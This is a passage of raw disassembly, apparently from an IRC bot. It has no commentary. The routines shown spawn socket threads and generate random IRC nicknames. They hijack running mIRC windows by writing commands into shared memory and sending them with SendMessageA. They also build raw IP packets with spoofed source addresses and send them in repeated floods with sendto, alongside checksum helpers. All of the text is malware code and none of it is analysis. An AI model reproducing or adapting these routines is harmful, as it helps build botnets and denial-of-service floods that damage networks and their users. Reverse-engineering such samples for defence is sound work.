					; sub_4264CB+183j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4266A2
		push	dword_6608CC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4263D5
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_4266B3
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_4266A2:				; CODE XREF: sub_4264CB+19Bj
					; sub_4264CB+1A2j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]


loc_4266A9:				; CODE XREF: sub_4264CB+174j
		mov	[ebp+var_4], eax
		jnz	short loc_426641
		jmp	loc_42660D
; ---------------------------------------------------------------------------


loc_4266B3:				; CODE XREF: sub_4264CB+40j
					; sub_4264CB+16Dj ...
		mov	dword_6608C8[esi], ebx
		mov	esi, dword_6608CC[esi]
		cmp	esi, ebx
		jbe	short loc_4266CA
		push	esi
		call	dword_456FF0	; closesocket


loc_4266CA:				; CODE XREF: sub_4264CB+1F6j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4264CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266D3	proc near		; CODE XREF: sub_40A9FE+2AA8p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		cmp	[ebp+arg_8], 0
		push	ebx
		push	esi
		push	edi
		jle	short loc_42675C
		mov	edi, dword_4370B4


loc_4266EB:				; CODE XREF: sub_4266D3+87j
		xor	ebx, ebx
		mov	eax, offset dword_6608C8


loc_4266F2:				; CODE XREF: sub_4266D3+2Fj
		cmp	dword ptr [eax], 0
		jz	short loc_426704
		add	eax, 410h
		inc	ebx
		cmp	eax, offset byte_66D3E8
		jl	short loc_4266F2


loc_426704:				; CODE XREF: sub_4266D3+22j
		cmp	ebx, 31h
		jz	short loc_42675C
		mov	esi, ebx
		push	[ebp+arg_0]
		imul	esi, 410h
		lea	eax, dword_6608D4[esi]
		push	eax
		call	edi ; dword_4370B4
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		mov	dword_660AD4[esi], eax
		lea	eax, dword_660AD8[esi]
		push	eax
		call	edi ; dword_4370B4
		lea	eax, [ebp+var_8]
		mov	dword_6608C8[esi], 1
		push	eax
		xor	eax, eax
		push	eax
		push	ebx
		push	offset sub_4264CB
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_4266EB


loc_42675C:				; CODE XREF: sub_4266D3+10j
					; sub_4266D3+34j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4266D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426761	proc near		; CODE XREF: sub_40A9FE+31D4p
					; sub_40A9FE+3F31p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		call	sub_429B9C
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	dbl_437398
		call	sub_42A9E0
		cmp	eax, 1
		jnz	short loc_4267B8
		call	sub_429B9C
		call	sub_429B9C
		push	67h
		cdq
		pop	ecx
		idiv	ecx
		push	off_44F6A0[edx*4]
		jmp	short loc_4267D1
; ---------------------------------------------------------------------------


loc_4267B8:				; CODE XREF: sub_426761+3Cj
		call	sub_429B9C
		call	sub_429B9C
		cdq
		mov	ecx, 0DFh
		idiv	ecx
		push	off_44F320[edx*4]


loc_4267D1:				; CODE XREF: sub_426761+55j
		lea	eax, [ebp+var_2C]
		push	eax
		call	dword_4370B4	; lstrcpyA
		push	ebx
		push	esi
		lea	eax, [ebp+var_2C]
		push	edi
		push	eax
		call	sub_4293A0
		pop	ecx
		mov	ebx, eax
		push	13h
		mov	[ebp+var_4], ebx
		pop	eax
		sub	eax, ebx
		mov	dword ptr [ebp+var_18+4], eax
		call	sub_429B9C
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_437390
		call	sub_42A9E0
		mov	esi, eax
		call	sub_429B9C
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fimul	[ebp+var_4]
		fmul	dbl_437388
		call	sub_42A9E0
		cmp	ebx, 2
		mov	edi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"...
		jle	short loc_426843
		cmp	ebx, 3
		jnz	short loc_42683A
		cmp	esi, 1
		jz	short loc_426843


loc_42683A:				; CODE XREF: sub_426761+D2j
		cmp	eax, 1
		jnz	loc_4268FC


loc_426843:				; CODE XREF: sub_426761+CDj
					; sub_426761+D7j
		call	sub_429B9C
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_437380
		call	sub_42A9E0
		push	off_44F6A0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	dword_4370B4	; lstrcpyA
		lea	esi, [ebp+ebx+var_2C]
		movsx	eax, byte ptr [esi-1]
		push	eax
		push	edi
		call	sub_42B1A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4268E9
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_42B1A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4268E9
		call	sub_429B9C
		mov	dword ptr [ebp+var_10+4], eax
		dec	ebx
		fild	dword ptr [ebp+var_10+4]
		mov	dword ptr [ebp+var_10+4], ebx
		fild	dword ptr [ebp+var_10+4]
		fmulp	st(1), st
		fmul	dbl_437388
		call	sub_42A9E0
		cmp	eax, 1
		jnz	short loc_4268E9
		push	edi
		call	sub_4293A0
		and	dword ptr [ebp+var_10+4], 0
		mov	dword ptr [ebp+var_10],	eax
		fild	[ebp+var_10]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_429B9C
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_437388
		call	sub_42A9E0
		mov	al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"...
		mov	[esi], al


loc_4268E9:				; CODE XREF: sub_426761+11Cj
					; sub_426761+12Dj ...
		push	dword ptr [ebp+var_18+4]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4299E0
		add	esp, 0Ch


loc_4268FC:				; CODE XREF: sub_426761+DCj
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4293A0
		mov	esi, eax
		mov	[ebp+var_4], esi
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		call	sub_42C524
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_426B53
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		push	edi
		xor	ebx, ebx
		call	sub_42B1A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_426A55
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_437388
		call	sub_42A9E0
		cmp	esi, 3
		jz	short loc_426966
		cmp	eax, 1
		jnz	loc_426A55


loc_426966:				; CODE XREF: sub_426761+1FAj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4269AA
		push	edi
		call	sub_4293A0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_437388
		call	sub_42A9E0
		mov	al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"...
		mov	[ebp+esi+var_2C], al
		jmp	short loc_4269C8
; ---------------------------------------------------------------------------


loc_4269AA:				; CODE XREF: sub_426761+20Ej
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437378
		call	sub_42A9E0
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_4269C8:				; CODE XREF: sub_426761+247j
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_4], esi
		inc	ebx
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437370
		call	sub_42A9E0
		cmp	esi, 3
		jz	short loc_4269EE
		cmp	eax, ebx
		jnz	short loc_426A55


loc_4269EE:				; CODE XREF: sub_426761+287j
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_426A33
		push	edi
		call	sub_4293A0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_437388
		call	sub_42A9E0
		mov	al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"...
		mov	[ebp+esi+var_2C], al
		jmp	short loc_426A51
; ---------------------------------------------------------------------------


loc_426A33:				; CODE XREF: sub_426761+297j
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437378
		call	sub_42A9E0
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_426A51:				; CODE XREF: sub_426761+2D0j
		inc	esi
		mov	[ebp+var_4], esi


loc_426A55:				; CODE XREF: sub_426761+1D0j
					; sub_426761+1FFj ...
		cmp	esi, 6
		jge	short loc_426AD5
		call	sub_429B9C
		cmp	esi, 5
		jge	short loc_426A72
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437390
		jmp	short loc_426A8B
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_426761+301j
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_437388


loc_426A8B:				; CODE XREF: sub_426761+30Fj
		call	sub_42A9E0
		test	eax, eax
		jnz	short loc_426AAE
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437368
		call	sub_42A9E0
		mov	cl, 30h
		jmp	short loc_426ACB
; ---------------------------------------------------------------------------


loc_426AAE:				; CODE XREF: sub_426761+331j
		cmp	eax, 1
		jnz	short loc_426AD5
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437378
		call	sub_42A9E0
		mov	cl, 41h


loc_426ACB:				; CODE XREF: sub_426761+34Bj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_426AD5:				; CODE XREF: sub_426761+2F7j
					; sub_426761+350j
		cmp	ebx, 2
		jge	short loc_426B53
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_437388
		call	sub_42A9E0
		cmp	eax, 1
		jnz	short loc_426B53
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437368
		call	sub_42A9E0
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437360
		call	sub_42A9E0
		cmp	eax, 1
		jnz	short loc_426B53
		cmp	ebx, eax
		jge	short loc_426B53
		call	sub_429B9C
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_437358
		call	sub_42A9E0
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_426B53:				; CODE XREF: sub_426761+1B8j
					; sub_426761+377j ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_429D10
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426761	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B6C	proc near		; CODE XREF: sub_40A9FE+4620p
		push	esi
		mov	esi, offset dword_6608CC


loc_426B72:				; CODE XREF: sub_426B6C+2Dj
		cmp	dword ptr [esi-4], 1
		jnz	short loc_426B85
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_426B85
		push	eax
		call	dword_456FF0	; closesocket


loc_426B85:				; CODE XREF: sub_426B6C+Aj
					; sub_426B6C+10j
		push	dword ptr [esi]
		call	dword_4372D8	; closesocket
		add	esi, 410h
		cmp	esi, offset dword_66D3EC
		jl	short loc_426B72
		xor	eax, eax
		pop	esi
		retn
sub_426B6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B9F	proc near		; DATA XREF: sub_426CEB+Bo

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	esi
		lea	eax, [ebp+var_204]
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_437270	; GetClassNameA
		mov	esi, offset aMirc ; "mIRC"
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		call	sub_42A8C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426C3D
		push	ebx
		push	esi
		xor	esi, esi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4370C8	; CreateFileMappingA
		push	esi
		push	esi
		mov	ebx, eax
		push	esi
		push	0F001Fh
		push	ebx
		call	dword_437040	; MapViewOfFile
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		push	offset aS_5	; "%s"
		push	eax
		call	dword_437278	; wsprintfA
		add	esp, 0Ch
		push	esi
		push	1
		push	4C8h
		push	[ebp+arg_0]
		call	dword_437274	; SendMessageA
		push	[ebp+var_4]
		call	dword_437048	; UnmapViewOfFile
		push	ebx
		call	dword_437044	; CloseHandle
		mov	dword_6607E8, 1
		pop	ebx


loc_426C3D:				; CODE XREF: sub_426B9F+35j
		xor	eax, eax
		pop	esi
		inc	eax
		leave
		retn	8
sub_426B9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C45	proc near		; DATA XREF: sub_426CEB+1Ao

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	esi
		lea	eax, [ebp+var_204]
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_437270	; GetClassNameA
		mov	esi, offset aMirc32 ; "mIRC32"
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		call	sub_42A8C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426CE3
		push	ebx
		push	esi
		xor	esi, esi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4370C8	; CreateFileMappingA
		push	esi
		push	esi
		mov	ebx, eax
		push	esi
		push	0F001Fh
		push	ebx
		call	dword_437040	; MapViewOfFile
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		push	offset aS_5	; "%s"
		push	eax
		call	dword_437278	; wsprintfA
		add	esp, 0Ch
		push	esi
		push	1
		push	4C8h
		push	[ebp+arg_0]
		call	dword_437274	; SendMessageA
		push	[ebp+var_4]
		call	dword_437048	; UnmapViewOfFile
		push	ebx
		call	dword_437044	; CloseHandle
		mov	dword_6607E8, 1
		pop	ebx


loc_426CE3:				; CODE XREF: sub_426C45+35j
		xor	eax, eax
		pop	esi
		inc	eax
		leave
		retn	8
sub_426C45	endp


; =============== S U B	R O U T	I N E =======================================



sub_426CEB	proc near		; CODE XREF: sub_40A9FE+27D8p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		and	dword_6607E8, 0
		push	offset sub_426B9F
		call	dword_456FEC	; EnumWindows
		push	[esp+arg_0]
		push	offset sub_426C45
		call	dword_456FEC	; EnumWindows
		mov	eax, dword_6607E8
		retn
sub_426CEB	endp

; ---------------------------------------------------------------------------


loc_426D16:				; CODE XREF: .text:00436663j
					; .text:0043666Bj ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_426D22
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_426D22:				; CODE XREF: .text:00426D1Aj
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D23	proc near		; CODE XREF: sub_42757B+8Ap

var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		call	dword_4372E0	; gethostname
		lea	eax, [ebp+var_100]
		push	eax
		call	dword_4372A4	; gethostbyname
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]
		and	esi, 0FFFFFFh
		call	sub_429B9C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		mov	eax, edx
		shl	eax, 18h
		or	eax, esi
		pop	esi
		leave
		retn
sub_426D23	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D70	proc near		; CODE XREF: sub_42757B+5Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		push	10h
		push	0
		push	esi
		call	sub_429760
		add	esp, 0Ch
		mov	word ptr [esi],	2
		push	[esp+8+arg_0]
		call	dword_4372C0	; inet_addr
		lea	edi, [esi+4]
		cmp	eax, 0FFFFFFFFh
		mov	[edi], eax
		jnz	short loc_426DC4
		push	[esp+8+arg_0]
		call	dword_4372A4	; gethostbyname
		test	eax, eax
		jz	short loc_426DD2
		mov	cx, [eax+8]
		mov	[esi], cx
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		push	edi
		call	sub_429420
		add	esp, 0Ch


loc_426DC4:				; CODE XREF: sub_426D70+2Aj
		push	[esp+8+arg_4]
		call	dword_4372C4	; ntohs
		mov	[esi+2], ax


loc_426DD2:				; CODE XREF: sub_426D70+38j
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		retn
sub_426D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426DD8	proc near		; CODE XREF: sub_4273E5+109p
					; sub_4273E5+14Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp+var_4], esi
		jle	short loc_426E07
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi


loc_426DF9:				; CODE XREF: sub_426DD8+29j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_426DF9
		pop	edi
		cmp	ecx, 1


loc_426E07:				; CODE XREF: sub_426DD8+13j
		jnz	short loc_426E14
		mov	al, [edx]
		mov	byte ptr [ebp+var_4], al
		movzx	eax, word ptr [ebp+var_4]
		add	esi, eax


loc_426E14:				; CODE XREF: sub_426DD8:loc_426E07j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 20h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 20h
		add	eax, ecx
		not	eax
		leave
		retn
sub_426DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E2D	proc near		; CODE XREF: sub_42757B+94p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_429B9C
		cdq
		mov	ecx, 9C40h
		mov	ebp, 5DCh
		idiv	ecx
		push	ebp
		push	1
		add	edx, 1F4h
		mov	[esp+1Ch+var_4], edx
		call	sub_42B39A
		mov	ebx, dword_4372C4
		pop	ecx
		pop	ecx
		mov	esi, eax
		push	ebp
		or	byte ptr [esi+14h], 0FFh
		lea	edi, [esi+20h]
		mov	byte ptr [esi],	4
		mov	byte ptr [esi+0Ch], 8
		call	ebx ; dword_4372C4
		push	[esp+14h+var_4]
		mov	[esi+4], ax
		mov	byte ptr [esi+15h], 2
		call	ebx ; dword_4372C4
		push	2000h
		mov	[esi+8], ax
		call	ebx ; dword_4372C4
		mov	[esi+0Eh], ax
		mov	eax, [esp+14h+arg_4]
		mov	[esi+18h], eax
		mov	eax, [esp+14h+arg_0]
		push	20h
		push	esi
		mov	eax, [eax+4]
		mov	[esi+1Ch], eax
		call	sub_41E3E8
		push	10h
		mov	[esi+16h], ax
		and	byte ptr [edi],	0
		and	dword ptr [edi+4], 0
		push	edi
		call	sub_41E3E8
		add	esp, 10h
		mov	[edi+2], ax
		push	31h
		pop	edi


loc_426EC4:				; CODE XREF: sub_426E2D+AAj
		call	sub_429B9C
		cdq
		mov	ecx, 0DCh
		idiv	ecx
		mov	[edi+esi], dl
		inc	edi
		cmp	edi, ebp
		jl	short loc_426EC4
		push	0FFh
		push	3
		push	2
		call	dword_4372BC	; socket
		test	eax, eax
		mov	[esp+14h+arg_4], eax
		jl	short loc_426F59
		push	10h
		push	[esp+18h+arg_0]
		push	0
		push	ebp
		push	esi
		push	eax
		call	dword_437294	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426F0A
		xor	eax, eax
		jmp	short loc_426F5C
; ---------------------------------------------------------------------------


loc_426F0A:				; CODE XREF: sub_426E2D+D7j
		mov	edi, 5C8h


loc_426F0F:				; CODE XREF: sub_426E2D+119j
		mov	eax, edi
		sar	eax, 3
		cmp	edi, 1158h
		jg	short loc_426F1F
		or	ah, 20h


loc_426F1F:				; CODE XREF: sub_426E2D+EDj
		push	eax
		call	ebx ; dword_4372C4
		push	10h
		mov	[esi+0Eh], ax
		push	[esp+18h+arg_0]
		push	0
		push	ebp
		push	esi
		push	[esp+28h+arg_4]
		call	dword_437294	; sendto
		add	edi, 5C8h
		cmp	edi, 1CE8h
		jl	short loc_426F0F
		push	esi
		call	sub_4298F2
		pop	ecx
		push	[esp+14h+arg_4]
		call	dword_4372D8	; closesocket


loc_426F59:				; CODE XREF: sub_426E2D+C1j
		xor	eax, eax
		inc	eax


loc_426F5C:				; CODE XREF: sub_426E2D+DBj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_426E2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426F62	proc near		; CODE XREF: sub_426FB8+1EFp
					; sub_426FB8+249p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	ecx, 1
		mov	[ebp+arg_4], edx
		jle	short loc_426F8F
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi


loc_426F82:				; CODE XREF: sub_426F62+27j
		movzx	edi, si
		add	edx, edi
		inc	esi
		dec	eax
		jnz	short loc_426F82
		pop	edi
		cmp	ecx, 1


loc_426F8F:				; CODE XREF: sub_426F62+12j
		jnz	short loc_426F9F
		movzx	eax, si
		mov	al, [eax]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	edx, eax


loc_426F9F:				; CODE XREF: sub_426F62:loc_426F8Fj
		mov	ecx, edx
		and	edx, 0FFFFh
		sar	ecx, 20h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		sar	eax, 20h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_426F62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426FB8	proc near		; CODE XREF: sub_42757B+173p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	esi, 2000h
		xor	eax, eax
		lea	edi, [ebp+var_C]
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], 800h
		mov	[ebp+var_1C], 80h
		mov	[ebp+var_18], 1000h
		mov	[ebp+var_14], 1
		mov	[ebp+var_10], ebx
		stosd
		mov	[ebp+var_4], ebx
		call	sub_429B9C
		push	100h
		push	[ebp+arg_14]
		call	dword_4372E0	; gethostname
		push	[ebp+arg_14]
		call	dword_4372A4	; gethostbyname
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	edi, [eax]
		and	edi, 0FFFFFFh
		call	sub_429B9C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		shl	edx, 18h
		or	edi, edx
		call	sub_429B9C
		cdq
		idiv	esi
		mov	al, byte_675F54
		and	al, 0E5h
		or	al, 5
		mov	byte_675F54, al
		mov	[ebp+var_8], edx
		call	sub_429B9C
		push	0Ah
		mov	esi, dword_4372C4
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_30]
		push	eax
		call	esi ; dword_4372C4
		push	ebx
		mov	word_675F56, ax
		call	esi ; dword_4372C4
		push	ebx
		mov	word_675F68, ax
		call	esi ; dword_4372C4
		push	5Ch
		mov	word_675F6A, ax
		mov	byte_675F48, 14h
		mov	byte ptr word_675F4A, bl
		call	esi ; dword_4372C4
		mov	word_675F4C, ax
		call	sub_429B9C
		cdq
		mov	ecx, 0ED60h
		idiv	ecx
		add	edx, 396h
		push	edx
		call	esi ; dword_4372C4
		mov	word_675F50, ax
		mov	eax, [ebp+arg_4]
		mov	byte_675F5C, 80h
		mov	byte_675F5D, 6
		mov	word_675F5E, bx
		mov	dword_675F60, edi
		mov	dword_675F64, eax
		call	sub_429B9C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	esi ; dword_4372C4
		push	[ebp+arg_18]
		mov	word_675F6C, ax
		call	esi ; dword_4372C4
		push	20000000h
		mov	word_675F6E, ax
		call	dword_4372E4	; ntohl
		mov	dword_675F70, eax
		mov	eax, dword_675F7C
		and	al, 5Fh
		mov	dword_675F74, ebx
		or	al, 50h
		mov	byte_675FA2, bl
		mov	dword_675F7C, eax
		call	sub_429B9C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	dword_675F78, edx
		call	sub_429B9C
		push	2
		mov	word_675F94, 4000h
		cdq
		pop	ecx
		mov	word_675F90, bx
		idiv	ecx
		mov	word_675F96, bx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	byte_675F80, dl
		call	sub_429B9C
		mov	edi, eax
		shl	edi, 10h
		call	sub_429B9C
		or	edi, eax
		push	edi
		call	esi ; dword_4372C4
		movzx	eax, ax
		mov	edi, offset dword_6737D0
		push	68h
		push	ebx
		push	edi
		mov	dword_675F70, eax
		call	sub_429760
		mov	ebx, offset byte_675F48
		push	10h
		push	ebx
		push	edi
		call	sub_429420
		mov	eax, edi
		push	10h
		push	eax
		call	sub_426F62
		push	8
		push	offset dword_675F60
		push	edi
		mov	word_675F4A, ax
		call	sub_429420
		push	1
		push	offset byte_675F5D
		push	offset byte_6737D9
		call	sub_429420
		add	esp, 38h
		push	38h
		call	esi ; dword_4372C4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	2
		push	eax
		push	offset word_6737DA
		call	sub_429420
		mov	eax, offset dword_6737DC
